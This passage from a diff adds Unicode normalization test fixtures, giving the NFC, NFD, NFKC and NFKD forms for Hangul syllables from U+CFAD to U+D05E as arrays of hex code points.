+{ source: [0xCFAD], NFC: [0xCFAD], NFD: [0x110F, 0x116C, 0x11AC], NFKC: [0xCFAD], NFKD: [0x110F, 0x116C, 0x11AC] },
+{ source: [0xCFAE], NFC: [0xCFAE], NFD: [0x110F, 0x116C, 0x11AD], NFKC: [0xCFAE], NFKD: [0x110F, 0x116C, 0x11AD] },
+{ source: [0xCFAF], NFC: [0xCFAF], NFD: [0x110F, 0x116C, 0x11AE], NFKC: [0xCFAF], NFKD: [0x110F, 0x116C, 0x11AE] },
+{ source: [0xCFB0], NFC: [0xCFB0], NFD: [0x110F, 0x116C, 0x11AF], NFKC: [0xCFB0], NFKD: [0x110F, 0x116C, 0x11AF] },
+{ source: [0xCFB1], NFC: [0xCFB1], NFD: [0x110F, 0x116C, 0x11B0], NFKC: [0xCFB1], NFKD: [0x110F, 0x116C, 0x11B0] },
+{ source: [0xCFB2], NFC: [0xCFB2], NFD: [0x110F, 0x116C, 0x11B1], NFKC: [0xCFB2], NFKD: [0x110F, 0x116C, 0x11B1] },
+{ source: [0xCFB3], NFC: [0xCFB3], NFD: [0x110F, 0x116C, 0x11B2], NFKC: [0xCFB3], NFKD: [0x110F, 0x116C, 0x11B2] },
+{ source: [0xCFB4], NFC: [0xCFB4], NFD: [0x110F, 0x116C, 0x11B3], NFKC: [0xCFB4], NFKD: [0x110F, 0x116C, 0x11B3] },
+{ source: [0xCFB5], NFC: [0xCFB5], NFD: [0x110F, 0x116C, 0x11B4], NFKC: [0xCFB5], NFKD: [0x110F, 0x116C, 0x11B4] },
+{ source: [0xCFB6], NFC: [0xCFB6], NFD: [0x110F, 0x116C, 0x11B5], NFKC: [0xCFB6], NFKD: [0x110F, 0x116C, 0x11B5] },
+{ source: [0xCFB7], NFC: [0xCFB7], NFD: [0x110F, 0x116C, 0x11B6], NFKC: [0xCFB7], NFKD: [0x110F, 0x116C, 0x11B6] },
+{ source: [0xCFB8], NFC: [0xCFB8], NFD: [0x110F, 0x116C, 0x11B7], NFKC: [0xCFB8], NFKD: [0x110F, 0x116C, 0x11B7] },
+{ source: [0xCFB9], NFC: [0xCFB9], NFD: [0x110F, 0x116C, 0x11B8], NFKC: [0xCFB9], NFKD: [0x110F, 0x116C, 0x11B8] },
+{ source: [0xCFBA], NFC: [0xCFBA], NFD: [0x110F, 0x116C, 0x11B9], NFKC: [0xCFBA], NFKD: [0x110F, 0x116C, 0x11B9] },
+{ source: [0xCFBB], NFC: [0xCFBB], NFD: [0x110F, 0x116C, 0x11BA], NFKC: [0xCFBB], NFKD: [0x110F, 0x116C, 0x11BA] },
+{ source: [0xCFBC], NFC: [0xCFBC], NFD: [0x110F, 0x116C, 0x11BB], NFKC: [0xCFBC], NFKD: [0x110F, 0x116C, 0x11BB] },
+{ source: [0xCFBD], NFC: [0xCFBD], NFD: [0x110F, 0x116C, 0x11BC], NFKC: [0xCFBD], NFKD: [0x110F, 0x116C, 0x11BC] },
+{ source: [0xCFBE], NFC: [0xCFBE], NFD: [0x110F, 0x116C, 0x11BD], NFKC: [0xCFBE], NFKD: [0x110F, 0x116C, 0x11BD] },
+{ source: [0xCFBF], NFC: [0xCFBF], NFD: [0x110F, 0x116C, 0x11BE], NFKC: [0xCFBF], NFKD: [0x110F, 0x116C, 0x11BE] },
+{ source: [0xCFC0], NFC: [0xCFC0], NFD: [0x110F, 0x116C, 0x11BF], NFKC: [0xCFC0], NFKD: [0x110F, 0x116C, 0x11BF] },
+{ source: [0xCFC1], NFC: [0xCFC1], NFD: [0x110F, 0x116C, 0x11C0], NFKC: [0xCFC1], NFKD: [0x110F, 0x116C, 0x11C0] },
+{ source: [0xCFC2], NFC: [0xCFC2], NFD: [0x110F, 0x116C, 0x11C1], NFKC: [0xCFC2], NFKD: [0x110F, 0x116C, 0x11C1] },
+{ source: [0xCFC3], NFC: [0xCFC3], NFD: [0x110F, 0x116C, 0x11C2], NFKC: [0xCFC3], NFKD: [0x110F, 0x116C, 0x11C2] },
+{ source: [0xCFC4], NFC: [0xCFC4], NFD: [0x110F, 0x116D], NFKC: [0xCFC4], NFKD: [0x110F, 0x116D] },
+{ source: [0xCFC5], NFC: [0xCFC5], NFD: [0x110F, 0x116D, 0x11A8], NFKC: [0xCFC5], NFKD: [0x110F, 0x116D, 0x11A8] },
+{ source: [0xCFC6], NFC: [0xCFC6], NFD: [0x110F, 0x116D, 0x11A9], NFKC: [0xCFC6], NFKD: [0x110F, 0x116D, 0x11A9] },
+{ source: [0xCFC7], NFC: [0xCFC7], NFD: [0x110F, 0x116D, 0x11AA], NFKC: [0xCFC7], NFKD: [0x110F, 0x116D, 0x11AA] },
+{ source: [0xCFC8], NFC: [0xCFC8], NFD: [0x110F, 0x116D, 0x11AB], NFKC: [0xCFC8], NFKD: [0x110F, 0x116D, 0x11AB] },
+{ source: [0xCFC9], NFC: [0xCFC9], NFD: [0x110F, 0x116D, 0x11AC], NFKC: [0xCFC9], NFKD: [0x110F, 0x116D, 0x11AC] },
+{ source: [0xCFCA], NFC: [0xCFCA], NFD: [0x110F, 0x116D, 0x11AD], NFKC: [0xCFCA], NFKD: [0x110F, 0x116D, 0x11AD] },
+{ source: [0xCFCB], NFC: [0xCFCB], NFD: [0x110F, 0x116D, 0x11AE], NFKC: [0xCFCB], NFKD: [0x110F, 0x116D, 0x11AE] },
+{ source: [0xCFCC], NFC: [0xCFCC], NFD: [0x110F, 0x116D, 0x11AF], NFKC: [0xCFCC], NFKD: [0x110F, 0x116D, 0x11AF] },
+{ source: [0xCFCD], NFC: [0xCFCD], NFD: [0x110F, 0x116D, 0x11B0], NFKC: [0xCFCD], NFKD: [0x110F, 0x116D, 0x11B0] },
+{ source: [0xCFCE], NFC: [0xCFCE], NFD: [0x110F, 0x116D, 0x11B1], NFKC: [0xCFCE], NFKD: [0x110F, 0x116D, 0x11B1] },
+{ source: [0xCFCF], NFC: [0xCFCF], NFD: [0x110F, 0x116D, 0x11B2], NFKC: [0xCFCF], NFKD: [0x110F, 0x116D, 0x11B2] },
+{ source: [0xCFD0], NFC: [0xCFD0], NFD: [0x110F, 0x116D, 0x11B3], NFKC: [0xCFD0], NFKD: [0x110F, 0x116D, 0x11B3] },
+{ source: [0xCFD1], NFC: [0xCFD1], NFD: [0x110F, 0x116D, 0x11B4], NFKC: [0xCFD1], NFKD: [0x110F, 0x116D, 0x11B4] },
+{ source: [0xCFD2], NFC: [0xCFD2], NFD: [0x110F, 0x116D, 0x11B5], NFKC: [0xCFD2], NFKD: [0x110F, 0x116D, 0x11B5] },
+{ source: [0xCFD3], NFC: [0xCFD3], NFD: [0x110F, 0x116D, 0x11B6], NFKC: [0xCFD3], NFKD: [0x110F, 0x116D, 0x11B6] },
+{ source: [0xCFD4], NFC: [0xCFD4], NFD: [0x110F, 0x116D, 0x11B7], NFKC: [0xCFD4], NFKD: [0x110F, 0x116D, 0x11B7] },
+{ source: [0xCFD5], NFC: [0xCFD5], NFD: [0x110F, 0x116D, 0x11B8], NFKC: [0xCFD5], NFKD: [0x110F, 0x116D, 0x11B8] },
+{ source: [0xCFD6], NFC: [0xCFD6], NFD: [0x110F, 0x116D, 0x11B9], NFKC: [0xCFD6], NFKD: [0x110F, 0x116D, 0x11B9] },
+{ source: [0xCFD7], NFC: [0xCFD7], NFD: [0x110F, 0x116D, 0x11BA], NFKC: [0xCFD7], NFKD: [0x110F, 0x116D, 0x11BA] },
+{ source: [0xCFD8], NFC: [0xCFD8], NFD: [0x110F, 0x116D, 0x11BB], NFKC: [0xCFD8], NFKD: [0x110F, 0x116D, 0x11BB] },
+{ source: [0xCFD9], NFC: [0xCFD9], NFD: [0x110F, 0x116D, 0x11BC], NFKC: [0xCFD9], NFKD: [0x110F, 0x116D, 0x11BC] },
+{ source: [0xCFDA], NFC: [0xCFDA], NFD: [0x110F, 0x116D, 0x11BD], NFKC: [0xCFDA], NFKD: [0x110F, 0x116D, 0x11BD] },
+{ source: [0xCFDB], NFC: [0xCFDB], NFD: [0x110F, 0x116D, 0x11BE], NFKC: [0xCFDB], NFKD: [0x110F, 0x116D, 0x11BE] },
+{ source: [0xCFDC], NFC: [0xCFDC], NFD: [0x110F, 0x116D, 0x11BF], NFKC: [0xCFDC], NFKD: [0x110F, 0x116D, 0x11BF] },
+{ source: [0xCFDD], NFC: [0xCFDD], NFD: [0x110F, 0x116D, 0x11C0], NFKC: [0xCFDD], NFKD: [0x110F, 0x116D, 0x11C0] },
+{ source: [0xCFDE], NFC: [0xCFDE], NFD: [0x110F, 0x116D, 0x11C1], NFKC: [0xCFDE], NFKD: [0x110F, 0x116D, 0x11C1] },
+{ source: [0xCFDF], NFC: [0xCFDF], NFD: [0x110F, 0x116D, 0x11C2], NFKC: [0xCFDF], NFKD: [0x110F, 0x116D, 0x11C2] },
+{ source: [0xCFE0], NFC: [0xCFE0], NFD: [0x110F, 0x116E], NFKC: [0xCFE0], NFKD: [0x110F, 0x116E] },
+{ source: [0xCFE1], NFC: [0xCFE1], NFD: [0x110F, 0x116E, 0x11A8], NFKC: [0xCFE1], NFKD: [0x110F, 0x116E, 0x11A8] },
+{ source: [0xCFE2], NFC: [0xCFE2], NFD: [0x110F, 0x116E, 0x11A9], NFKC: [0xCFE2], NFKD: [0x110F, 0x116E, 0x11A9] },
+{ source: [0xCFE3], NFC: [0xCFE3], NFD: [0x110F, 0x116E, 0x11AA], NFKC: [0xCFE3], NFKD: [0x110F, 0x116E, 0x11AA] },
+{ source: [0xCFE4], NFC: [0xCFE4], NFD: [0x110F, 0x116E, 0x11AB], NFKC: [0xCFE4], NFKD: [0x110F, 0x116E, 0x11AB] },
+{ source: [0xCFE5], NFC: [0xCFE5], NFD: [0x110F, 0x116E, 0x11AC], NFKC: [0xCFE5], NFKD: [0x110F, 0x116E, 0x11AC] },
+{ source: [0xCFE6], NFC: [0xCFE6], NFD: [0x110F, 0x116E, 0x11AD], NFKC: [0xCFE6], NFKD: [0x110F, 0x116E, 0x11AD] },
+{ source: [0xCFE7], NFC: [0xCFE7], NFD: [0x110F, 0x116E, 0x11AE], NFKC: [0xCFE7], NFKD: [0x110F, 0x116E, 0x11AE] },
+{ source: [0xCFE8], NFC: [0xCFE8], NFD: [0x110F, 0x116E, 0x11AF], NFKC: [0xCFE8], NFKD: [0x110F, 0x116E, 0x11AF] },
+{ source: [0xCFE9], NFC: [0xCFE9], NFD: [0x110F, 0x116E, 0x11B0], NFKC: [0xCFE9], NFKD: [0x110F, 0x116E, 0x11B0] },
+{ source: [0xCFEA], NFC: [0xCFEA], NFD: [0x110F, 0x116E, 0x11B1], NFKC: [0xCFEA], NFKD: [0x110F, 0x116E, 0x11B1] },
+{ source: [0xCFEB], NFC: [0xCFEB], NFD: [0x110F, 0x116E, 0x11B2], NFKC: [0xCFEB], NFKD: [0x110F, 0x116E, 0x11B2] },
+{ source: [0xCFEC], NFC: [0xCFEC], NFD: [0x110F, 0x116E, 0x11B3], NFKC: [0xCFEC], NFKD: [0x110F, 0x116E, 0x11B3] },
+{ source: [0xCFED], NFC: [0xCFED], NFD: [0x110F, 0x116E, 0x11B4], NFKC: [0xCFED], NFKD: [0x110F, 0x116E, 0x11B4] },
+{ source: [0xCFEE], NFC: [0xCFEE], NFD: [0x110F, 0x116E, 0x11B5], NFKC: [0xCFEE], NFKD: [0x110F, 0x116E, 0x11B5] },
+{ source: [0xCFEF], NFC: [0xCFEF], NFD: [0x110F, 0x116E, 0x11B6], NFKC: [0xCFEF], NFKD: [0x110F, 0x116E, 0x11B6] },
+{ source: [0xCFF0], NFC: [0xCFF0], NFD: [0x110F, 0x116E, 0x11B7], NFKC: [0xCFF0], NFKD: [0x110F, 0x116E, 0x11B7] },
+{ source: [0xCFF1], NFC: [0xCFF1], NFD: [0x110F, 0x116E, 0x11B8], NFKC: [0xCFF1], NFKD: [0x110F, 0x116E, 0x11B8] },
+{ source: [0xCFF2], NFC: [0xCFF2], NFD: [0x110F, 0x116E, 0x11B9], NFKC: [0xCFF2], NFKD: [0x110F, 0x116E, 0x11B9] },
+{ source: [0xCFF3], NFC: [0xCFF3], NFD: [0x110F, 0x116E, 0x11BA], NFKC: [0xCFF3], NFKD: [0x110F, 0x116E, 0x11BA] },
+{ source: [0xCFF4], NFC: [0xCFF4], NFD: [0x110F, 0x116E, 0x11BB], NFKC: [0xCFF4], NFKD: [0x110F, 0x116E, 0x11BB] },
+{ source: [0xCFF5], NFC: [0xCFF5], NFD: [0x110F, 0x116E, 0x11BC], NFKC: [0xCFF5], NFKD: [0x110F, 0x116E, 0x11BC] },
+{ source: [0xCFF6], NFC: [0xCFF6], NFD: [0x110F, 0x116E, 0x11BD], NFKC: [0xCFF6], NFKD: [0x110F, 0x116E, 0x11BD] },
+{ source: [0xCFF7], NFC: [0xCFF7], NFD: [0x110F, 0x116E, 0x11BE], NFKC: [0xCFF7], NFKD: [0x110F, 0x116E, 0x11BE] },
+{ source: [0xCFF8], NFC: [0xCFF8], NFD: [0x110F, 0x116E, 0x11BF], NFKC: [0xCFF8], NFKD: [0x110F, 0x116E, 0x11BF] },
+{ source: [0xCFF9], NFC: [0xCFF9], NFD: [0x110F, 0x116E, 0x11C0], NFKC: [0xCFF9], NFKD: [0x110F, 0x116E, 0x11C0] },
+{ source: [0xCFFA], NFC: [0xCFFA], NFD: [0x110F, 0x116E, 0x11C1], NFKC: [0xCFFA], NFKD: [0x110F, 0x116E, 0x11C1] },
+{ source: [0xCFFB], NFC: [0xCFFB], NFD: [0x110F, 0x116E, 0x11C2], NFKC: [0xCFFB], NFKD: [0x110F, 0x116E, 0x11C2] },
+{ source: [0xCFFC], NFC: [0xCFFC], NFD: [0x110F, 0x116F], NFKC: [0xCFFC], NFKD: [0x110F, 0x116F] },
+{ source: [0xCFFD], NFC: [0xCFFD], NFD: [0x110F, 0x116F, 0x11A8], NFKC: [0xCFFD], NFKD: [0x110F, 0x116F, 0x11A8] },
+{ source: [0xCFFE], NFC: [0xCFFE], NFD: [0x110F, 0x116F, 0x11A9], NFKC: [0xCFFE], NFKD: [0x110F, 0x116F, 0x11A9] },
+{ source: [0xCFFF], NFC: [0xCFFF], NFD: [0x110F, 0x116F, 0x11AA], NFKC: [0xCFFF], NFKD: [0x110F, 0x116F, 0x11AA] },
+{ source: [0xD000], NFC: [0xD000], NFD: [0x110F, 0x116F, 0x11AB], NFKC: [0xD000], NFKD: [0x110F, 0x116F, 0x11AB] },
+{ source: [0xD001], NFC: [0xD001], NFD: [0x110F, 0x116F, 0x11AC], NFKC: [0xD001], NFKD: [0x110F, 0x116F, 0x11AC] },
+{ source: [0xD002], NFC: [0xD002], NFD: [0x110F, 0x116F, 0x11AD], NFKC: [0xD002], NFKD: [0x110F, 0x116F, 0x11AD] },
+{ source: [0xD003], NFC: [0xD003], NFD: [0x110F, 0x116F, 0x11AE], NFKC: [0xD003], NFKD: [0x110F, 0x116F, 0x11AE] },
+{ source: [0xD004], NFC: [0xD004], NFD: [0x110F, 0x116F, 0x11AF], NFKC: [0xD004], NFKD: [0x110F, 0x116F, 0x11AF] },
+{ source: [0xD005], NFC: [0xD005], NFD: [0x110F, 0x116F, 0x11B0], NFKC: [0xD005], NFKD: [0x110F, 0x116F, 0x11B0] },
+{ source: [0xD006], NFC: [0xD006], NFD: [0x110F, 0x116F, 0x11B1], NFKC: [0xD006], NFKD: [0x110F, 0x116F, 0x11B1] },
+{ source: [0xD007], NFC: [0xD007], NFD: [0x110F, 0x116F, 0x11B2], NFKC: [0xD007], NFKD: [0x110F, 0x116F, 0x11B2] },
+{ source: [0xD008], NFC: [0xD008], NFD: [0x110F, 0x116F, 0x11B3], NFKC: [0xD008], NFKD: [0x110F, 0x116F, 0x11B3] },
+{ source: [0xD009], NFC: [0xD009], NFD: [0x110F, 0x116F, 0x11B4], NFKC: [0xD009], NFKD: [0x110F, 0x116F, 0x11B4] },
+{ source: [0xD00A], NFC: [0xD00A], NFD: [0x110F, 0x116F, 0x11B5], NFKC: [0xD00A], NFKD: [0x110F, 0x116F, 0x11B5] },
+{ source: [0xD00B], NFC: [0xD00B], NFD: [0x110F, 0x116F, 0x11B6], NFKC: [0xD00B], NFKD: [0x110F, 0x116F, 0x11B6] },
+{ source: [0xD00C], NFC: [0xD00C], NFD: [0x110F, 0x116F, 0x11B7], NFKC: [0xD00C], NFKD: [0x110F, 0x116F, 0x11B7] },
+{ source: [0xD00D], NFC: [0xD00D], NFD: [0x110F, 0x116F, 0x11B8], NFKC: [0xD00D], NFKD: [0x110F, 0x116F, 0x11B8] },
+{ source: [0xD00E], NFC: [0xD00E], NFD: [0x110F, 0x116F, 0x11B9], NFKC: [0xD00E], NFKD: [0x110F, 0x116F, 0x11B9] },
+{ source: [0xD00F], NFC: [0xD00F], NFD: [0x110F, 0x116F, 0x11BA], NFKC: [0xD00F], NFKD: [0x110F, 0x116F, 0x11BA] },
+{ source: [0xD010], NFC: [0xD010], NFD: [0x110F, 0x116F, 0x11BB], NFKC: [0xD010], NFKD: [0x110F, 0x116F, 0x11BB] },
+{ source: [0xD011], NFC: [0xD011], NFD: [0x110F, 0x116F, 0x11BC], NFKC: [0xD011], NFKD: [0x110F, 0x116F, 0x11BC] },
+{ source: [0xD012], NFC: [0xD012], NFD: [0x110F, 0x116F, 0x11BD], NFKC: [0xD012], NFKD: [0x110F, 0x116F, 0x11BD] },
+{ source: [0xD013], NFC: [0xD013], NFD: [0x110F, 0x116F, 0x11BE], NFKC: [0xD013], NFKD: [0x110F, 0x116F, 0x11BE] },
+{ source: [0xD014], NFC: [0xD014], NFD: [0x110F, 0x116F, 0x11BF], NFKC: [0xD014], NFKD: [0x110F, 0x116F, 0x11BF] },
+{ source: [0xD015], NFC: [0xD015], NFD: [0x110F, 0x116F, 0x11C0], NFKC: [0xD015], NFKD: [0x110F, 0x116F, 0x11C0] },
+{ source: [0xD016], NFC: [0xD016], NFD: [0x110F, 0x116F, 0x11C1], NFKC: [0xD016], NFKD: [0x110F, 0x116F, 0x11C1] },
+{ source: [0xD017], NFC: [0xD017], NFD: [0x110F, 0x116F, 0x11C2], NFKC: [0xD017], NFKD: [0x110F, 0x116F, 0x11C2] },
+{ source: [0xD018], NFC: [0xD018], NFD: [0x110F, 0x1170], NFKC: [0xD018], NFKD: [0x110F, 0x1170] },
+{ source: [0xD019], NFC: [0xD019], NFD: [0x110F, 0x1170, 0x11A8], NFKC: [0xD019], NFKD: [0x110F, 0x1170, 0x11A8] },
+{ source: [0xD01A], NFC: [0xD01A], NFD: [0x110F, 0x1170, 0x11A9], NFKC: [0xD01A], NFKD: [0x110F, 0x1170, 0x11A9] },
+{ source: [0xD01B], NFC: [0xD01B], NFD: [0x110F, 0x1170, 0x11AA], NFKC: [0xD01B], NFKD: [0x110F, 0x1170, 0x11AA] },
+{ source: [0xD01C], NFC: [0xD01C], NFD: [0x110F, 0x1170, 0x11AB], NFKC: [0xD01C], NFKD: [0x110F, 0x1170, 0x11AB] },
+{ source: [0xD01D], NFC: [0xD01D], NFD: [0x110F, 0x1170, 0x11AC], NFKC: [0xD01D], NFKD: [0x110F, 0x1170, 0x11AC] },
+{ source: [0xD01E], NFC: [0xD01E], NFD: [0x110F, 0x1170, 0x11AD], NFKC: [0xD01E], NFKD: [0x110F, 0x1170, 0x11AD] },
+{ source: [0xD01F], NFC: [0xD01F], NFD: [0x110F, 0x1170, 0x11AE], NFKC: [0xD01F], NFKD: [0x110F, 0x1170, 0x11AE] },
+{ source: [0xD020], NFC: [0xD020], NFD: [0x110F, 0x1170, 0x11AF], NFKC: [0xD020], NFKD: [0x110F, 0x1170, 0x11AF] },
+{ source: [0xD021], NFC: [0xD021], NFD: [0x110F, 0x1170, 0x11B0], NFKC: [0xD021], NFKD: [0x110F, 0x1170, 0x11B0] },
+{ source: [0xD022], NFC: [0xD022], NFD: [0x110F, 0x1170, 0x11B1], NFKC: [0xD022], NFKD: [0x110F, 0x1170, 0x11B1] },
+{ source: [0xD023], NFC: [0xD023], NFD: [0x110F, 0x1170, 0x11B2], NFKC: [0xD023], NFKD: [0x110F, 0x1170, 0x11B2] },
+{ source: [0xD024], NFC: [0xD024], NFD: [0x110F, 0x1170, 0x11B3], NFKC: [0xD024], NFKD: [0x110F, 0x1170, 0x11B3] },
+{ source: [0xD025], NFC: [0xD025], NFD: [0x110F, 0x1170, 0x11B4], NFKC: [0xD025], NFKD: [0x110F, 0x1170, 0x11B4] },
+{ source: [0xD026], NFC: [0xD026], NFD: [0x110F, 0x1170, 0x11B5], NFKC: [0xD026], NFKD: [0x110F, 0x1170, 0x11B5] },
+{ source: [0xD027], NFC: [0xD027], NFD: [0x110F, 0x1170, 0x11B6], NFKC: [0xD027], NFKD: [0x110F, 0x1170, 0x11B6] },
+{ source: [0xD028], NFC: [0xD028], NFD: [0x110F, 0x1170, 0x11B7], NFKC: [0xD028], NFKD: [0x110F, 0x1170, 0x11B7] },
+{ source: [0xD029], NFC: [0xD029], NFD: [0x110F, 0x1170, 0x11B8], NFKC: [0xD029], NFKD: [0x110F, 0x1170, 0x11B8] },
+{ source: [0xD02A], NFC: [0xD02A], NFD: [0x110F, 0x1170, 0x11B9], NFKC: [0xD02A], NFKD: [0x110F, 0x1170, 0x11B9] },
+{ source: [0xD02B], NFC: [0xD02B], NFD: [0x110F, 0x1170, 0x11BA], NFKC: [0xD02B], NFKD: [0x110F, 0x1170, 0x11BA] },
+{ source: [0xD02C], NFC: [0xD02C], NFD: [0x110F, 0x1170, 0x11BB], NFKC: [0xD02C], NFKD: [0x110F, 0x1170, 0x11BB] },
+{ source: [0xD02D], NFC: [0xD02D], NFD: [0x110F, 0x1170, 0x11BC], NFKC: [0xD02D], NFKD: [0x110F, 0x1170, 0x11BC] },
+{ source: [0xD02E], NFC: [0xD02E], NFD: [0x110F, 0x1170, 0x11BD], NFKC: [0xD02E], NFKD: [0x110F, 0x1170, 0x11BD] },
+{ source: [0xD02F], NFC: [0xD02F], NFD: [0x110F, 0x1170, 0x11BE], NFKC: [0xD02F], NFKD: [0x110F, 0x1170, 0x11BE] },
+{ source: [0xD030], NFC: [0xD030], NFD: [0x110F, 0x1170, 0x11BF], NFKC: [0xD030], NFKD: [0x110F, 0x1170, 0x11BF] },
+{ source: [0xD031], NFC: [0xD031], NFD: [0x110F, 0x1170, 0x11C0], NFKC: [0xD031], NFKD: [0x110F, 0x1170, 0x11C0] },
+{ source: [0xD032], NFC: [0xD032], NFD: [0x110F, 0x1170, 0x11C1], NFKC: [0xD032], NFKD: [0x110F, 0x1170, 0x11C1] },
+{ source: [0xD033], NFC: [0xD033], NFD: [0x110F, 0x1170, 0x11C2], NFKC: [0xD033], NFKD: [0x110F, 0x1170, 0x11C2] },
+{ source: [0xD034], NFC: [0xD034], NFD: [0x110F, 0x1171], NFKC: [0xD034], NFKD: [0x110F, 0x1171] },
+{ source: [0xD035], NFC: [0xD035], NFD: [0x110F, 0x1171, 0x11A8], NFKC: [0xD035], NFKD: [0x110F, 0x1171, 0x11A8] },
+{ source: [0xD036], NFC: [0xD036], NFD: [0x110F, 0x1171, 0x11A9], NFKC: [0xD036], NFKD: [0x110F, 0x1171, 0x11A9] },
+{ source: [0xD037], NFC: [0xD037], NFD: [0x110F, 0x1171, 0x11AA], NFKC: [0xD037], NFKD: [0x110F, 0x1171, 0x11AA] },
+{ source: [0xD038], NFC: [0xD038], NFD: [0x110F, 0x1171, 0x11AB], NFKC: [0xD038], NFKD: [0x110F, 0x1171, 0x11AB] },
+{ source: [0xD039], NFC: [0xD039], NFD: [0x110F, 0x1171, 0x11AC], NFKC: [0xD039], NFKD: [0x110F, 0x1171, 0x11AC] },
+{ source: [0xD03A], NFC: [0xD03A], NFD: [0x110F, 0x1171, 0x11AD], NFKC: [0xD03A], NFKD: [0x110F, 0x1171, 0x11AD] },
+{ source: [0xD03B], NFC: [0xD03B], NFD: [0x110F, 0x1171, 0x11AE], NFKC: [0xD03B], NFKD: [0x110F, 0x1171, 0x11AE] },
+{ source: [0xD03C], NFC: [0xD03C], NFD: [0x110F, 0x1171, 0x11AF], NFKC: [0xD03C], NFKD: [0x110F, 0x1171, 0x11AF] },
+{ source: [0xD03D], NFC: [0xD03D], NFD: [0x110F, 0x1171, 0x11B0], NFKC: [0xD03D], NFKD: [0x110F, 0x1171, 0x11B0] },
+{ source: [0xD03E], NFC: [0xD03E], NFD: [0x110F, 0x1171, 0x11B1], NFKC: [0xD03E], NFKD: [0x110F, 0x1171, 0x11B1] },
+{ source: [0xD03F], NFC: [0xD03F], NFD: [0x110F, 0x1171, 0x11B2], NFKC: [0xD03F], NFKD: [0x110F, 0x1171, 0x11B2] },
+{ source: [0xD040], NFC: [0xD040], NFD: [0x110F, 0x1171, 0x11B3], NFKC: [0xD040], NFKD: [0x110F, 0x1171, 0x11B3] },
+{ source: [0xD041], NFC: [0xD041], NFD: [0x110F, 0x1171, 0x11B4], NFKC: [0xD041], NFKD: [0x110F, 0x1171, 0x11B4] },
+{ source: [0xD042], NFC: [0xD042], NFD: [0x110F, 0x1171, 0x11B5], NFKC: [0xD042], NFKD: [0x110F, 0x1171, 0x11B5] },
+{ source: [0xD043], NFC: [0xD043], NFD: [0x110F, 0x1171, 0x11B6], NFKC: [0xD043], NFKD: [0x110F, 0x1171, 0x11B6] },
+{ source: [0xD044], NFC: [0xD044], NFD: [0x110F, 0x1171, 0x11B7], NFKC: [0xD044], NFKD: [0x110F, 0x1171, 0x11B7] },
+{ source: [0xD045], NFC: [0xD045], NFD: [0x110F, 0x1171, 0x11B8], NFKC: [0xD045], NFKD: [0x110F, 0x1171, 0x11B8] },
+{ source: [0xD046], NFC: [0xD046], NFD: [0x110F, 0x1171, 0x11B9], NFKC: [0xD046], NFKD: [0x110F, 0x1171, 0x11B9] },
+{ source: [0xD047], NFC: [0xD047], NFD: [0x110F, 0x1171, 0x11BA], NFKC: [0xD047], NFKD: [0x110F, 0x1171, 0x11BA] },
+{ source: [0xD048], NFC: [0xD048], NFD: [0x110F, 0x1171, 0x11BB], NFKC: [0xD048], NFKD: [0x110F, 0x1171, 0x11BB] },
+{ source: [0xD049], NFC: [0xD049], NFD: [0x110F, 0x1171, 0x11BC], NFKC: [0xD049], NFKD: [0x110F, 0x1171, 0x11BC] },
+{ source: [0xD04A], NFC: [0xD04A], NFD: [0x110F, 0x1171, 0x11BD], NFKC: [0xD04A], NFKD: [0x110F, 0x1171, 0x11BD] },
+{ source: [0xD04B], NFC: [0xD04B], NFD: [0x110F, 0x1171, 0x11BE], NFKC: [0xD04B], NFKD: [0x110F, 0x1171, 0x11BE] },
+{ source: [0xD04C], NFC: [0xD04C], NFD: [0x110F, 0x1171, 0x11BF], NFKC: [0xD04C], NFKD: [0x110F, 0x1171, 0x11BF] },
+{ source: [0xD04D], NFC: [0xD04D], NFD: [0x110F, 0x1171, 0x11C0], NFKC: [0xD04D], NFKD: [0x110F, 0x1171, 0x11C0] },
+{ source: [0xD04E], NFC: [0xD04E], NFD: [0x110F, 0x1171, 0x11C1], NFKC: [0xD04E], NFKD: [0x110F, 0x1171, 0x11C1] },
+{ source: [0xD04F], NFC: [0xD04F], NFD: [0x110F, 0x1171, 0x11C2], NFKC: [0xD04F], NFKD: [0x110F, 0x1171, 0x11C2] },
+{ source: [0xD050], NFC: [0xD050], NFD: [0x110F, 0x1172], NFKC: [0xD050], NFKD: [0x110F, 0x1172] },
+{ source: [0xD051], NFC: [0xD051], NFD: [0x110F, 0x1172, 0x11A8], NFKC: [0xD051], NFKD: [0x110F, 0x1172, 0x11A8] },
+{ source: [0xD052], NFC: [0xD052], NFD: [0x110F, 0x1172, 0x11A9], NFKC: [0xD052], NFKD: [0x110F, 0x1172, 0x11A9] },
+{ source: [0xD053], NFC: [0xD053], NFD: [0x110F, 0x1172, 0x11AA], NFKC: [0xD053], NFKD: [0x110F, 0x1172, 0x11AA] },
+{ source: [0xD054], NFC: [0xD054], NFD: [0x110F, 0x1172, 0x11AB], NFKC: [0xD054], NFKD: [0x110F, 0x1172, 0x11AB] },
+{ source: [0xD055], NFC: [0xD055], NFD: [0x110F, 0x1172, 0x11AC], NFKC: [0xD055], NFKD: [0x110F, 0x1172, 0x11AC] },
+{ source: [0xD056], NFC: [0xD056], NFD: [0x110F, 0x1172, 0x11AD], NFKC: [0xD056], NFKD: [0x110F, 0x1172, 0x11AD] },
+{ source: [0xD057], NFC: [0xD057], NFD: [0x110F, 0x1172, 0x11AE], NFKC: [0xD057], NFKD: [0x110F, 0x1172, 0x11AE] },
+{ source: [0xD058], NFC: [0xD058], NFD: [0x110F, 0x1172, 0x11AF], NFKC: [0xD058], NFKD: [0x110F, 0x1172, 0x11AF] },
+{ source: [0xD059], NFC: [0xD059], NFD: [0x110F, 0x1172, 0x11B0], NFKC: [0xD059], NFKD: [0x110F, 0x1172, 0x11B0] },
+{ source: [0xD05A], NFC: [0xD05A], NFD: [0x110F, 0x1172, 0x11B1], NFKC: [0xD05A], NFKD: [0x110F, 0x1172, 0x11B1] },
+{ source: [0xD05B], NFC: [0xD05B], NFD: [0x110F, 0x1172, 0x11B2], NFKC: [0xD05B], NFKD: [0x110F, 0x1172, 0x11B2] },
+{ source: [0xD05C], NFC: [0xD05C], NFD: [0x110F, 0x1172, 0x11B3], NFKC: [0xD05C], NFKD: [0x110F, 0x1172, 0x11B3] },
+{ source: [0xD05D], NFC: [0xD05D], NFD: [0x110F, 0x1172, 0x11B4], NFKC: [0xD05D], NFKD: [0x110F, 0x1172, 0x11B4] },
+{ source: [0xD05E], NFC: [0xD05E], NFD: [0x110F, 0x1172, 0x11B5], NFKC: [0xD05E], NFKD: [0x110F, 0x1172, 0x11B5] },
